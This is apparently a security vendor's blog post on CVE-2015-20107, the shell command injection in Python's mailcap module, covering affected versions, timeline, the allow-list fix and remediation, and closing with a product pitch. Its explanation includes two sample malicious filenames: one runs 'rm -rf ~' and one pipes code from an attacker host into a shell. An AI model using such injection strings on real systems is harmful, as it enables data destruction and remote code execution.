Safeguard
Vulnerability Analysis

Python mailcap insecure shell command construction (CVE-2015-20107)

Python mailcap shell injection (CVE-2015-20107) lets attackers run arbitrary commands via unescaped filenames. Here is how to detect and fix it.

Hritik Sharma
Security Engineer
8 min read

A seven-year-old bug report finally got its CVE in 2022: CVE-2015-20107 describes a shell command injection vulnerability in the mailcap module of Python's standard library. When an application calls mailcap.findmatch() (or the underlying mailcap.subst()) with a filename, MIME type, or MIME parameter that an attacker controls, that value is substituted into a shell command template with no escaping. If the resulting command string is then executed — the module's own documentation, for years, told developers to run it through os.system() — an attacker who can influence the filename or MIME parameters can smuggle in shell metacharacters like ;, `, $(), or && and run arbitrary commands with the privileges of the calling process. It is a textbook CWE-77 (Improper Neutralization of Special Elements Used in a Command) sitting inside the Python standard library itself, not a third-party package, which is what makes it worth a fresh look even years after the fact.

What is vulnerable

mailcap is a small, rarely-discussed stdlib module that reads system mailcap files (/etc/mailcap, ~/.mailcap, and similar) to decide which external program should open a given MIME type — historically used by email clients and MIME-aware tooling to answer "what program opens a .pdf attachment?" mailcap.findmatch(caps, MIMEtype, filename=...) looks up the matching entry and substitutes the filename (and any other parameters) into a command template such as xterm -e view %s, then hands the caller a ready-to-run command string.

The problem is the substitution step. mailcap.subst() builds that command by string formatting the filename directly into the shell command with no quoting or sanitization. A filename like:

'$(rm -rf ~).txt'

or an attachment named:

'; curl http://attacker.example/x | sh; #.pdf'

passed straight through to os.system() executes exactly as an attacker intends. Because the filename is frequently derived from something outside the application's control — an email attachment name, an uploaded file, a value extracted from a MIME Content-Disposition header, or a filename supplied via a CLI argument — any code path that lets untrusted input reach mailcap.findmatch() and then executes the returned string is exploitable.

Affected versions and components

  • Affected: CPython 2.7 and 3.x through 3.10.8, and, per NVD's own note, the flaw was still technically present in early 3.11 pre-releases before the fix landed. In practice, every CPython release prior to the autumn 2022 security updates ships the vulnerable mailcap.py.
  • Fixed: Python maintainers backported a fix across the 3.7, 3.8, 3.9, and 3.10 branches in their fall 2022 security releases, and the corrected module shipped by default starting with Python 3.11.
  • Component: mailcap module (Lib/mailcap.py in CPython) — part of the standard library, so it ships with every CPython install rather than being a package you add via pip.
  • Realistic exposure: Direct use of mailcap has become uncommon in modern web services, but it still turns up in legacy MUAs and mail-processing scripts, desktop "open with system default handler" utilities, MIME-aware CLI tools, and internal automation that shells out based on file type — any of which becomes a remote or local code-execution primitive if attacker-influenced filenames reach it.

CVSS, EPSS, and KEV context

NVD scores CVE-2015-20107 as CVSS v3.1 7.6 (High), vector AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L, and separately lists a legacy CVSS v2.0 score of 8.0. You will see other severities quoted elsewhere — some scanners surface a theoretical maximum of 10.0 for the underlying command-injection primitive, since actual impact depends heavily on how a given application calls mailcap.findmatch() and whether it feeds the result to a shell. Treat any single number as a starting point, not the whole story: the CWE-77 classification and "attacker-controlled string reaches a shell" pattern is the part that matters when you're deciding priority.

The vulnerability is not currently listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, and its EPSS exploitation-probability score is low — consistent with a bug that requires an application-specific integration point (untrusted data reaching mailcap.findmatch() and an unsafe execution call) rather than a directly network-reachable, pre-auth flaw. Low EPSS and absence from KEV are useful signals for de-prioritizing mass, blind patch campaigns, but they say nothing about your specific exposure if you actually call mailcap with untrusted input — that context has to come from your own code, not from the score.

Timeline

  • August 2, 2015 — Bernd Dietzel reports the shell-injection behavior of mailcap.findmatch()/subst() on the Python bug tracker (bpo-24778).
  • August 4, 2015 — The CPython core team discusses the report and settles on adding a documentation warning about filename validation rather than changing the code — the module's behavior is left unchanged.
  • 2015–2022 — The issue sits open and largely dormant on the tracker for roughly seven years, unpatched in shipping Python releases.
  • April 6–13, 2022 — Renewed attention to long-dormant Python stdlib security bugs (the same period that also revived interest in the tarfile path-traversal issue, CVE-2007-4559) leads to a CVE being formally assigned: CVE-2015-20107, published to NVD on April 13, 2022. The "2015" prefix reflects the year of the original report, not the disclosure date.
  • June 3, 2022 — After an initial patch attempt using shlex.quote() was rejected (it could double-quote mailcap entries that already contained their own quoting), the CPython team merges a different fix to the main branch (GitHub PR #91993): an allow-list regex that rejects unsafe characters before they ever reach a command template.
  • Autumn 2022 — The fix is backported to the 3.7, 3.8, 3.9, and 3.10 branches and shipped in their respective point releases; Python 3.11 ships with the fix as part of its initial release cycle.

How the fix works

Rather than shell-quoting the substituted value — which the maintainers determined was unsafe given how mailcap files are written — the accepted fix adds a strict allow-list check inside mailcap.py:

_find_unsafe = re.compile(r'[^\xa1-\U0010FFFF\w@%+=:,./-]').search

Any filename, MIME type, or parameter value containing a character outside that allow-list (word characters, non-ASCII Unicode, and a small set of safe punctuation) now causes findmatch() and subst() to return None, None and raise an UnsafeMailcapInput warning instead of building a command string. Callers that already handle a "no match found" result degrade gracefully; callers that assumed a command string would always come back need to handle the new None case explicitly.

Remediation steps

  1. Upgrade your Python interpreter. Move to Python 3.7.15+, 3.8.15+, 3.9.15+, 3.10.8/3.10.9+, or 3.11+ (whichever tracks your current branch), via your OS package manager, container base image, or official python.org builds. This is the primary fix and closes the gap for every caller at once.
  2. Grep your codebase and dependencies for mailcap usage. Search for import mailcap, mailcap.findmatch, mailcap.getcaps, and mailcap.subst. Usage is uncommon but tends to hide in legacy email tooling, MIME helpers, and "open with system default app" utilities — including in third-party packages you depend on, not just first-party code.
  3. Never trust the returned command string, even patched. Audit any code that pipes the result of mailcap.findmatch() into os.system(), os.popen(), or subprocess.run(..., shell=True). Prefer building argument lists and invoking subprocess.run() with shell=False, and independently validate filenames and MIME parameters before they reach mailcap at all.
  4. Plan to stop depending on mailcap altogether. The module was flagged for deprecation under PEP 594 ("dead batteries") specifically because of maintenance and security concerns like this one, and is on a path to removal from the standard library. If your architecture allows it, replace system-mailcap lookups with an explicit, application-controlled MIME-to-handler mapping.
  5. Harden input at the boundary. For any service that derives filenames from attachments, uploads, or external metadata (email gateways, file-processing pipelines, MIME parsers), strip or reject shell metacharacters at ingestion, independent of whether mailcap is involved — defense in depth against this entire bug class.
  6. Inventory affected runtimes across your fleet. Because this lives in the interpreter itself, every container image, VM, and serverless runtime pinned to a pre-patch Python version is exposed, whether or not your own code calls mailcap — transitively vulnerable dependencies can call it on your behalf.

How Safeguard Helps

Safeguard is built to answer the question that a CVSS score can't: does this specific vulnerability actually matter in your environment? Our reachability analysis traces whether your services actually invoke mailcap.findmatch() (directly or through a dependency) and whether attacker-influenced data — filenames, MIME parameters, upload metadata — can reach that call path, separating theoretical exposure from real risk instead of forcing you to patch every pinned Python runtime on faith. Griffin AI, Safeguard's reasoning engine, reads the surrounding code to confirm whether the returned command string ever flows into os.system() or a shell-enabled subprocess call, so triage time drops from hours of manual code review to minutes. Continuous SBOM generation and ingestion give you a live inventory of every interpreter version and package across your fleet, so you know instantly which images, services, and lambdas are still running a pre-patch Python build. And where remediation is straightforward — bumping a base image tag or an interpreter version — Safeguard opens an auto-fix pull request with the fix pre-validated, so your team ships the patch instead of writing it by hand.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.